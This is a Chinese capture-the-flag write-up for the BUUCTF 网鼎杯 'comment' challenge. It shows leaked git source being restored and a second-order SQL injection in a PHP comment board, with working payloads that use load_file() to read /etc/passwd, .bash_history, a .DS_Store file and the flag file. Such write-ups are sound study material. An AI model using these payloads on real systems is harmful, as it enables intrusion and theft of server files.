[BUUCTF] 网鼎杯 comment

如标题所见,评论区触发

1.弱密码爆破
2.git源码泄露+恢复
git log --reflog
git reset --hard 第一个版本ID

拿到完整源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

传入的参数都进行了addslashes转义

关键代码:

    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
3.二次注入
case 'comment':

    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);

mysql_fetch_array直接调用category,造成二次注入。

思路:
在categoryt处填写123',content=user(),/* 拼接
在comment处*/#注释

效果:

insert into comment
       set category = ' 123',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

load_file()读取文件

123',content=(select( load_file('/etc/passwd'))),/*

在这里插入图片描述

意看到/home/www下以bash身份运行

查看使用过的系统命令

123',content=(select(load_file("/home/www/.bash_history"))),/*

在这里插入图片描述发现.DS.Store文件
尝试读取

123',content=(select(load_file("/tmp/html/.DS_Store"))),/*

在这里插入图片描述
似乎不完整
尝试hex 十六进制读取

123',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

转换
在这里插入图片描述获取flag_8946e1ff1ee3e40f.php,记得加上路径
路径/tmp/html/ 是假flag

123',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

真flag在/var/www/html

123',content=(select(load_file("var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

因为直接获取不了,需要hex再str
在这里插入图片描述

知识点记录:

SQL读取文件

用load_file()函数进行读取,值得注意的是读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。 该文件所有字节可读,但文件内容必须小于max_allowed_packet。如果该文件不存在或无法读取,因为前面的条件之一不满足,函数返回 NULL。

.bash_history

.bash_history为在unix/linux系统下保存历史命令的文件,在用户的根目录下,即~/处。

.DS_Store文件泄露

文件泄露,有一个下载至本地的脚本,不过这题用不上。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值